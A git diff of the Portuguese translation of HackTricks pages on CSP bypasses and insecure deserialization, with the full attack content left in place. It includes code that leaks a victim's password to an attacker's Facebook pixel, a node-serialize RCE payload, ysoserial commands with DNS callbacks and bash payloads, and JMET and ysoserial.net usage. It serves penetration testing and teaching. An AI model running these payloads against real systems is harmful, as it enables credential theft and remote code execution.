-Deverá ser capaz de exfiltrar dados, da mesma forma como sempre foi feito com [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Neste caso, siga estes passos gerais:
+Deverá ser capaz de exfiltrar dados, da mesma forma como sempre foi feito com o [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Neste caso, siga estes passos gerais:
1. Crie uma conta de desenvolvedor no Facebook aqui.
2. Crie um novo aplicativo "Facebook Login" e selecione "Website".
@@ -380,18 +372,16 @@ Deverá ser capaz de exfiltrar dados, da mesma forma como sempre foi feito com [
5. Vá para o "Gerenciador de Eventos" do seu aplicativo e selecione a aplicação que criou (note que o gerenciador de eventos pode ser encontrado em uma URL semelhante a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
6. Selecione a aba "Eventos de Teste" para ver os eventos enviados pelo site "seu".
-Em seguida, do lado da vítima, execute o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para a conta de desenvolvedor do Facebook do atacante com o ID do aplicativo e emitir um evento personalizado como este:
+Em seguida, do lado da vítima, execute o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o ID do aplicativo do desenvolvedor do Facebook do atacante e emitir um evento personalizado como este:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
-Quanto aos outros sete domínios de terceiros especificados na tabela anterior, há muitas outras maneiras de abusar deles. Consulte o [post do blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) anterior para explicações adicionais sobre outros abusos de terceiros.
+### Bypass através de RPO (Sobrescrita de Caminho Relativo)
-### Bypass via RPO (Relative Path Overwrite)
-
-Além da mencionada redireção para contornar restrições de caminho, há outra técnica chamada Relative Path Overwrite (RPO) que pode ser usada em alguns servidores.
+Além das redirecionamentos mencionados para contornar restrições de caminho, existe outra técnica chamada Sobrescrita de Caminho Relativo (RPO) que pode ser usada em alguns servidores.
Por exemplo, se o CSP permitir o caminho `https://example.com/scripts/react/`, ele pode ser contornado da seguinte forma:
```html
@@ -457,7 +447,7 @@ Outros pontos de execução arbitrária JSONP podem ser encontrados [**aqui**](h
O que acontece quando CSP encontra uma redireção do lado do servidor? Se a redireção levar a uma origem diferente que não é permitida, ela ainda falhará.
-No entanto, de acordo com a descrição em [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se a redireção levar a um caminho diferente, ela pode burlar as restrições originais.
+No entanto, de acordo com a descrição em [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se a redireção levar a um caminho diferente, ela pode contornar as restrições originais.
Aqui está um exemplo:
```html
@@ -595,13 +585,13 @@ run();
```
### Via Bookmarklets
-Este ataque implicaria alguma engenharia social onde o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Este bookmarklet conteria **código javascript malicioso** que, quando arrastado ou clicado, seria executado no contexto da janela web atual, **burlando o CSP e permitindo roubar informações sensíveis** como cookies ou tokens.
+Este ataque implicaria alguma engenharia social onde o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Este bookmarklet conteria **código javascript malicioso** que, quando arrastado e solto ou clicado, seria executado no contexto da janela web atual, **burlando o CSP e permitindo roubar informações sensíveis** como cookies ou tokens.
Para mais informações [**verifique o relatório original aqui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### Bypass de CSP restringindo CSP
-Neste [**writeup do CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é burlado ao injetar dentro de um iframe permitido um CSP mais restritivo que proibia o carregamento de um arquivo JS específico que, então, via **poluição de protótipo** ou **dom clobbering** permitia **abusar de um script diferente para carregar um script arbitrário**.
+Neste [**writeup do CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é burlado injetando em um iframe permitido um CSP mais restritivo que proibia o carregamento de um arquivo JS específico que, então, via **poluição de protótipo** ou **dom clobbering** permitia **abusar de um script diferente para carregar um script arbitrário**.
Você pode **restringir um CSP de um Iframe** com o atributo **`csp`**:
@@ -611,8 +601,8 @@ Você pode **restringir um CSP de um Iframe** com o atributo **`csp`**:
```
{% endcode %}
-No [**writeup do CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível através de **injeção de HTML** **restringir** ainda mais um **CSP** para que um script que impedia CSTI fosse desativado e, portanto, a **vulnerabilidade se tornasse explorável.**\
-CSP pode ser tornada mais restritiva usando **tags meta HTML** e scripts inline podem ser desativados **removendo** a **entrada** permitindo seu **nonce** e **habilitando scripts inline específicos via sha**:
+No [**writeup deste CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível através de **injeção de HTML** **restringir** ainda mais um **CSP** para que um script que impedia CSTI fosse desativado e, portanto, a **vulnerabilidade se tornasse explorável.**\
+CSP pode ser tornado mais restritivo usando **meta tags HTML** e scripts inline podem ser desativados **removendo** a **entrada** permitindo seu **nonce** e **habilitando scripts inline específicos via sha**:
```html
```
@@ -779,7 +773,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
-Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
+Junte-se ao [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server para se comunicar com hackers experientes e caçadores de bugs!
**Percepções de Hacking**\
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
@@ -788,20 +782,20 @@ Engaje-se com conteúdo que explora a emoção e os desafios do hacking
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
**Últimos Anúncios**\
-Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
+Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
-Aprenda hacking AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
+Aprenda hacking na AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/pentesting-web/deserialization/README.md b/pentesting-web/deserialization/README.md
index 7371fbf52..faed3fd5b 100644
--- a/pentesting-web/deserialization/README.md
+++ b/pentesting-web/deserialization/README.md
@@ -6,7 +6,7 @@
Outras maneiras de apoiar o HackTricks:
-* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@@ -14,7 +14,7 @@ Outras maneiras de apoiar o HackTricks:
-## Informação Básica
+## Informações Básicas
**Serialização** é entendida como o método de converter um objeto em um formato que pode ser preservado, com a intenção de armazenar o objeto ou transmiti-lo como parte de um processo de comunicação. Essa técnica é comumente empregada para garantir que o objeto possa ser recriado em um momento posterior, mantendo sua estrutura e estado.
@@ -28,7 +28,7 @@ No PHP, métodos mágicos específicos são utilizados durante os processos de s
* `__sleep`: Invocado quando um objeto está sendo serializado. Este método deve retornar um array com os nomes de todas as propriedades do objeto que devem ser serializadas. É comumente usado para confirmar dados pendentes ou realizar tarefas de limpeza semelhantes.
* `__wakeup`: Chamado quando um objeto está sendo desserializado. É usado para restabelecer quaisquer conexões de banco de dados que possam ter sido perdidas durante a serialização e realizar outras tarefas de reinicialização.
-* `__unserialize`: Este método é chamado em vez de `__wakeup` (se existir) quando um objeto está sendo desserializado. Ele oferece mais controle sobre o processo de desserialização em comparação com `__wakeup`.
+* `__unserialize`: Este método é chamado no lugar de `__wakeup` (se existir) quando um objeto está sendo desserializado. Ele oferece mais controle sobre o processo de desserialização em comparação com `__wakeup`.
* `__destruct`: Este método é chamado quando um objeto está prestes a ser destruído ou quando o script termina. Geralmente é usado para tarefas de limpeza, como fechar manipuladores de arquivos ou conexões de banco de dados.
* `__toString`: Este método permite que um objeto seja tratado como uma string. Pode ser usado para ler um arquivo ou outras tarefas com base nas chamadas de função dentro dele, fornecendo efetivamente uma representação textual do objeto.
```php
@@ -130,12 +130,12 @@ $ser=serialize($o);
### PHPGGC (ysoserial para PHP)
[**PHPGGC**](https://github.com/ambionics/phpggc) pode ajudá-lo a gerar payloads para abusar de desserializações em PHP.\
-Note que em vários casos você **não conseguirá encontrar uma maneira de abusar de uma desserialização no código-fonte** da aplicação, mas você pode ser capaz de **abusar do código de extensões PHP externas.**\
-Portanto, se possível, verifique o `phpinfo()` do servidor e **pesquise na internet** (e até nos **gadgets** do **PHPGGC**) alguns possíveis gadgets que você poderia abusar.
+Note que em vários casos você **não conseguirá encontrar uma maneira de abusar de uma desserialização no código-fonte** da aplicação, mas talvez consiga **abusar do código de extensões PHP externas.**\
+Portanto, se possível, verifique o `phpinfo()` do servidor e **pesquise na internet** (e até nos **gadgets** do **PHPGGC**) por possíveis gadgets que você poderia abusar.
### Desserialização de metadados phar://
-Se você encontrou uma LFI que está apenas lendo o arquivo e não executando o código PHP dentro dele, por exemplo, usando funções como _**file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**_. Você pode tentar abusar de uma **desserialização** que ocorre ao **ler** um **arquivo** usando o protocolo **phar**.\
+Se você encontrou uma LFI que apenas lê o arquivo e não executa o código PHP dentro dele, por exemplo, usando funções como _**file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**_. Você pode tentar abusar de uma **desserialização** que ocorre ao **ler** um **arquivo** usando o protocolo **phar**.\
Para mais informações, leia o seguinte post:
{% content-ref url="../file-inclusion/phar-deserialization.md" %}
@@ -216,7 +216,7 @@ Se você deseja aprender sobre essa técnica, **dê uma olhada no seguinte tutor
### [node-serialize](https://www.npmjs.com/package/node-serialize)
-Essa biblioteca permite serializar funções. Exemplo:
+Esta biblioteca permite serializar funções. Exemplo:
```javascript
var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
@@ -239,7 +239,7 @@ Dentro do arquivo `node-serialize/lib/serialize.js`, você pode encontrar a mesm
Como pode ver no último trecho de código, **se a flag for encontrada**, `eval` é usado para desserializar a função, então basicamente **a entrada do usuário está sendo usada dentro da função `eval`**.
-No entanto, **apenas serializar** uma função **não a executará**, pois seria necessário que alguma parte do código estivesse **chamando `y.rce`** em nosso exemplo e isso é altamente **improvável**.\
+No entanto, **apenas serializar** uma função **não a executará**, pois seria necessário que alguma parte do código esteja **chamando `y.rce`** em nosso exemplo e isso é altamente **improvável**.\
De qualquer forma, você poderia simplesmente **modificar o objeto serializado** **adicionando alguns parênteses** para executar automaticamente a função serializada quando o objeto for desserializado.\
No próximo trecho de código, **observe o último parêntese** e como a função `unserialize` executará automaticamente o código:
```javascript
@@ -253,7 +253,7 @@ var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);
```
-Pode [**encontrar aqui**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **mais informações** sobre como explorar essa vulnerabilidade.
+Pode encontrar [**aqui**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **mais informações** sobre como explorar essa vulnerabilidade.
### [funcster](https://www.npmjs.com/package/funcster)
@@ -278,7 +278,7 @@ funcster.deepDeserialize(desertest3)
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
-O pacote **serialize-javascript** é projetado exclusivamente para fins de serialização, sem quaisquer capacidades de desserialização embutidas. Os usuários são responsáveis por implementar seu próprio método para desserialização. Um uso direto do `eval` é sugerido pelo exemplo oficial para desserializar dados serializados:
+O pacote **serialize-javascript** é projetado exclusivamente para fins de serialização, sem quaisquer capacidades de desserialização integradas. Os usuários são responsáveis por implementar seu próprio método de desserialização. Um uso direto do `eval` é sugerido pelo exemplo oficial para desserializar dados serializados:
```javascript
function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
@@ -312,7 +312,7 @@ No Java, **callbacks de desserialização são executados durante o processo de
#### Caixa Branca
-Para identificar possíveis vulnerabilidades de serialização no código-fonte, procure por:
+Para identificar possíveis vulnerabilidades de serialização no código, procure por:
* Classes que implementam a interface `Serializable`.
* Uso de `java.io.ObjectInputStream`, funções `readObject`, `readUnshare`.
@@ -341,7 +341,7 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
```
### Verificar se é vulnerável
-Se você deseja **aprender como funciona uma exploração de desserialização Java**, você deve dar uma olhada em [**Deserialização Java Básica**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialização Java DNS**](java-dns-deserialization-and-gadgetprobe.md) e [**Carga Útil CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
+Se você deseja **aprender como funciona um exploit de desserialização Java**, você deve dar uma olhada em [**Desserialização Java Básica**](basic-java-deserialization-objectinputstream-readobject.md), [**Desserialização Java DNS**](java-dns-deserialization-and-gadgetprobe.md) e [**Payload CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
#### Teste de Caixa Branca
@@ -352,19 +352,19 @@ grep -R InvokeTransformer .
```
Você poderia tentar **verificar todas as bibliotecas** conhecidas por serem vulneráveis e para as quais o [**Ysoserial**](https://github.com/frohoff/ysoserial) pode fornecer um exploit. Ou você poderia verificar as bibliotecas indicadas no [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
Você também pode usar o [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) para procurar possíveis cadeias de gadgets que podem ser exploradas.\
-Ao executar o **gadgetinspector** (após construí-lo), não se preocupe com a quantidade de avisos/erros que ele está passando e deixe-o terminar. Ele escreverá todas as descobertas em _gadgetinspector/gadget-results/gadget-chains-ano-mês-dia-hora-minuto.txt_. Por favor, note que o **gadgetinspector não criará um exploit e pode indicar falsos positivos**.
+Ao executar o **gadgetinspector** (após compilá-lo), não se preocupe com a quantidade de avisos/erros que ele está passando e deixe-o terminar. Ele escreverá todas as descobertas em _gadgetinspector/gadget-results/gadget-chains-ano-mês-dia-hora-minuto.txt_. Por favor, observe que o **gadgetinspector não criará um exploit e pode indicar falsos positivos**.
#### Teste de Caixa Preta
-Usando a extensão do Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) você pode identificar **quais bibliotecas estão disponíveis** (e até mesmo as versões). Com essa informação, poderia ser **mais fácil escolher um payload** para explorar a vulnerabilidade.\
-[**Leia mais sobre o GadgetProbe aqui**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
-O GadgetProbe é focado em **desserializações do `ObjectInputStream`**.
+Usando a extensão Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) você pode identificar **quais bibliotecas estão disponíveis** (e até mesmo as versões). Com essas informações, poderia ser **mais fácil escolher um payload** para explorar a vulnerabilidade.\
+[**Leia mais para aprender sobre o GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
+O GadgetProbe é focado em **desserializações de `ObjectInputStream`**.
-Usando a extensão do Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) você pode **identificar bibliotecas vulneráveis** exploráveis com ysoserial e **explorá-las**.\
-[**Leia mais sobre o Java Deserialization Scanner aqui.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
-O Java Deserialization Scanner é focado em desserializações do **`ObjectInputStream`**.
+Usando a extensão Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) você pode **identificar bibliotecas vulneráveis** exploráveis com ysoserial e **explorá-las**.\
+[**Leia mais para aprender sobre o Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
+O Java Deserialization Scanner é focado em desserializações de **`ObjectInputStream`**.
-Você também pode usar o [**Freddy**](https://github.com/nccgroup/freddy) para **detectar vulnerabilidades de desserialização** no **Burp**. Este plugin detectará vulnerabilidades relacionadas não apenas ao **`ObjectInputStream`**, mas também a bibliotecas de desserialização **Json** e **Yml**. No modo ativo, ele tentará confirmá-las usando payloads de sleep ou DNS.\
+Você também pode usar o [**Freddy**](https://github.com/nccgroup/freddy) para **detectar vulnerabilidades de desserialização** no **Burp**. Este plugin detectará vulnerabilidades relacionadas não apenas a `ObjectInputStream`, mas também a vulnerabilidades de desserialização de **Json** e **Yml**. No modo ativo, ele tentará confirmá-las usando payloads de sleep ou DNS.\
[**Você pode encontrar mais informações sobre o Freddy aqui.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**Teste de Serialização**
@@ -376,9 +376,9 @@ Se você encontrar um objeto serializado Java sendo enviado para um aplicativo d
#### **ysoserial**
-A principal ferramenta para explorar desserializações Java é o [**ysoserial**](https://github.com/frohoff/ysoserial) ([**baixe aqui**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Você também pode considerar usar o [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), que permitirá o uso de comandos complexos (com pipes, por exemplo).\
-Observe que esta ferramenta é **centrada** em explorar o **`ObjectInputStream`**.\
-Eu começaria usando o payload "URLDNS" **antes de um payload RCE** para testar se a injeção é possível. De qualquer forma, observe que talvez o payload "URLDNS" não esteja funcionando, mas outro payload RCE sim.
+A principal ferramenta para explorar desserializações Java é o [**ysoserial**](https://github.com/frohoff/ysoserial) ([**baixe aqui**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Você também pode considerar usar o [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), que permitirá que você use comandos complexos (com pipes, por exemplo).\
+Observe que esta ferramenta é **centrada** em explorar **`ObjectInputStream`**.\
+Eu começaria usando o payload "URLDNS" **antes de um payload RCE** para testar se a injeção é possível. De qualquer forma, observe que talvez o payload "URLDNS" não esteja funcionando, mas outro payload RCE está.
```bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
@@ -423,9 +423,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
# Base64 encode payload in base64
base64 -w0 payload
```
-Ao criar um payload para **java.lang.Runtime.exec()** você **não pode usar caracteres especiais** como ">" ou "|" para redirecionar a saída de uma execução, "$()" para executar comandos ou até mesmo **passar argumentos** para um comando separados por **espaços** (você pode fazer `echo -n "hello world"` mas não pode fazer `python2 -c 'print "Hello world"'`). Para codificar corretamente o payload, você pode [usar esta página da web](http://www.jackson-t.ca/runtime-exec-payloads.html).
+Ao criar um payload para **java.lang.Runtime.exec()** você **não pode usar caracteres especiais** como ">" ou "|" para redirecionar a saída de uma execução, "$()" para executar comandos ou mesmo **passar argumentos** para um comando separados por **espaços** (você pode fazer `echo -n "hello world"` mas não pode fazer `python2 -c 'print "Hello world"'`). Para codificar corretamente o payload, você pode [usar esta página da web](http://www.jackson-t.ca/runtime-exec-payloads.html).
-Sinta-se à vontade para usar o script a seguir para criar **todos os possíveis payloads de execução de código** para Windows e Linux e então testá-los na página da web vulnerável:
+Sinta-se à vontade para usar o script a seguir para criar **todos os possíveis payloads de execução de código** para Windows e Linux e depois testá-los na página da web vulnerável:
```python
import os
import base64
@@ -496,7 +496,7 @@ O Java utiliza bastante a serialização para diversos fins, como:
#### Objetos Transientes
-Uma classe que implementa `Serializable` pode implementar como `transient` qualquer objeto dentro da classe que não deve ser serializável. Por exemplo:
+Uma classe que implementa `Serializable` pode implementar como `transient` qualquer objeto dentro da classe que não deve ser serializado. Por exemplo:
```java
public class myAccount implements Serializable
{
@@ -543,7 +543,7 @@ return super.resolveClass(desc);
```
-javaagent:name-of-agent.jar
```
-Ele fornece uma maneira de garantir a desserialização dinamicamente, ideal para ambientes onde mudanças de código imediatas são impraticáveis.
+Ele fornece uma maneira de garantir a desserialização dinamicamente, ideal para ambientes onde mudanças imediatas de código são impraticáveis.
Confira um exemplo em [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
@@ -574,7 +574,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
- Palestra sobre gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) e slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
-- Artigo Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
+- Artigo sobre Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
@@ -588,9 +588,9 @@ Descubra o que é **Injeção JNDI, como abusar dela via RMI, CORBA & LDAP e com
[jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md)
{% endcontent-ref %}
-## JMS - Serviço de Mensagens Java
+## JMS - Java Message Service
-> A API do **Serviço de Mensagens Java** (**JMS**) é uma API de middleware orientada a mensagens Java para enviar mensagens entre dois ou mais clientes. É uma implementação para lidar com o problema produtor-consumidor. O JMS faz parte da Plataforma Java, Enterprise Edition (Java EE), e foi definido por uma especificação desenvolvida na Sun Microsystems, mas que desde então tem sido orientada pelo Java Community Process. É um padrão de mensagens que permite que componentes de aplicativos baseados em Java EE criem, enviem, recebam e leiam mensagens. Permite que a comunicação entre diferentes componentes de um aplicativo distribuído seja desacoplada, confiável e assíncrona. (De [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
+> A API **Java Message Service** (**JMS**) é uma API de middleware orientada a mensagens Java para enviar mensagens entre dois ou mais clientes. É uma implementação para lidar com o problema produtor-consumidor. O JMS faz parte da Plataforma Java, Enterprise Edition (Java EE), e foi definido por uma especificação desenvolvida na Sun Microsystems, mas que desde então tem sido orientada pelo Java Community Process. É um padrão de mensagens que permite que componentes de aplicativos baseados em Java EE criem, enviem, recebam e leiam mensagens. Permite que a comunicação entre diferentes componentes de um aplicativo distribuído seja desacoplada, confiável e assíncrona. (De [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
### Produtos
@@ -602,10 +602,9 @@ Existem vários produtos que usam esse middleware para enviar mensagens:
### Exploração
-Basicamente, existem **vários serviços usando JMS de maneira perigosa**. Portanto, se você tiver **privilégios suficientes** para enviar mensagens para esses serviços (geralmente precisará de credenciais válidas), poderá enviar **objetos maliciosos serializados que serão desserializados pelo consumidor/assinante**.\
-Isso significa que, nessa exploração, todos os **clientes que forem usar essa mensagem serão infectados**.
+Basicamente, existem **vários serviços usando JMS de maneira perigosa**. Portanto, se você tiver **privilégios suficientes** para enviar mensagens para esses serviços (geralmente precisará de credenciais válidas), poderá enviar **objetos maliciosos serializados que serão desserializados pelo consumidor/assinante**. Isso significa que, nessa exploração, todos os **clientes que forem usar essa mensagem serão infectados**.
-Lembre-se de que, mesmo se um serviço for vulnerável (porque está desserializando de forma insegura a entrada do usuário), você ainda precisa encontrar gadgets válidos para explorar a vulnerabilidade.
+Lembre-se de que, mesmo se um serviço for vulnerável (por estar desserializando de forma insegura a entrada do usuário), você ainda precisará encontrar gadgets válidos para explorar a vulnerabilidade.
A ferramenta [JMET](https://github.com/matthiaskaiser/jmet) foi criada para **conectar e atacar esses serviços enviando vários objetos maliciosos serializados usando gadgets conhecidos**. Esses exploits funcionarão se o serviço ainda estiver vulnerável e se algum dos gadgets usados estiver dentro do aplicativo vulnerável.
@@ -630,11 +629,11 @@ O foco deve estar em serializadores que permitem que o tipo seja determinado por
#### BlackBox
-A busca deve visar a string codificada em Base64 **AAEAAAD/////** ou qualquer padrão semelhante que possa passar por desserialização no lado do servidor, concedendo controle sobre o tipo a ser desserializado. Isso poderia incluir, mas não se limitar a, estruturas **JSON** ou **XML** com `TypeObject` ou `$type`.
+A busca deve visar a string codificada em Base64 **AAEAAAD/////** ou qualquer padrão semelhante que possa passar por desserialização no lado do servidor, concedendo controle sobre o tipo a ser desserializado. Isso pode incluir, mas não se limita a, estruturas **JSON** ou **XML** com `TypeObject` ou `$type`.
### ysoserial.net
-Neste caso, você pode usar a ferramenta [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) para **criar os exploits de desserialização**. Após baixar o repositório git, você deve **compilar a ferramenta** usando o Visual Studio, por exemplo.
+Neste caso, você pode usar a ferramenta [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) para **criar exploits de desserialização**. Após baixar o repositório git, você deve **compilar a ferramenta** usando o Visual Studio, por exemplo.
Se você quiser aprender sobre **como o ysoserial.net cria seu exploit**, você pode [**ver esta página onde é explicado o gadget ObjectDataProvider + ExpandedWrapper + formatador Json.Net**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
@@ -642,8 +641,8 @@ As principais opções do **ysoserial.net** são: **`--gadget`**, **`--formatter
* **`--gadget`** usado para indicar o gadget a ser abusado (indicar a classe/função que será abusada durante a desserialização para executar comandos).
* **`--formatter`**, usado para indicar o método para serializar o exploit (você precisa saber qual biblioteca está sendo usada no back-end para desserializar a carga útil e usar a mesma para serializá-la)
-* **`--output`** usado para indicar se você deseja o exploit em formato **raw** ou codificado em **base64**. _Observe que o **ysoserial.net** irá **codificar** a carga útil usando **UTF-16LE** (codificação usada por padrão no Windows), então se você obtiver o raw e apenas codificá-lo a partir de um console Linux, você pode ter alguns **problemas de compatibilidade de codificação** que impedirão o exploit de funcionar corretamente (na caixa JSON HTB, a carga útil funcionou tanto em UTF-16LE quanto em ASCII, mas isso não significa que sempre funcionará)._
-* **`--plugin`** o ysoserial.net suporta plugins para criar **exploits para frameworks específicos** como ViewState
+* **`--output`** usado para indicar se você deseja o exploit em formato **raw** ou codificado em **base64**. _Observe que o **ysoserial.net** irá **codificar** a carga útil usando **UTF-16LE** (codificação usada por padrão no Windows), então se você obtiver o raw e apenas codificá-lo a partir de um console Linux, poderá ter alguns **problemas de compatibilidade de codificação** que impedirão o exploit de funcionar corretamente (na caixa JSON HTB, a carga útil funcionou em UTF-16LE e ASCII, mas isso não significa que sempre funcionará)._
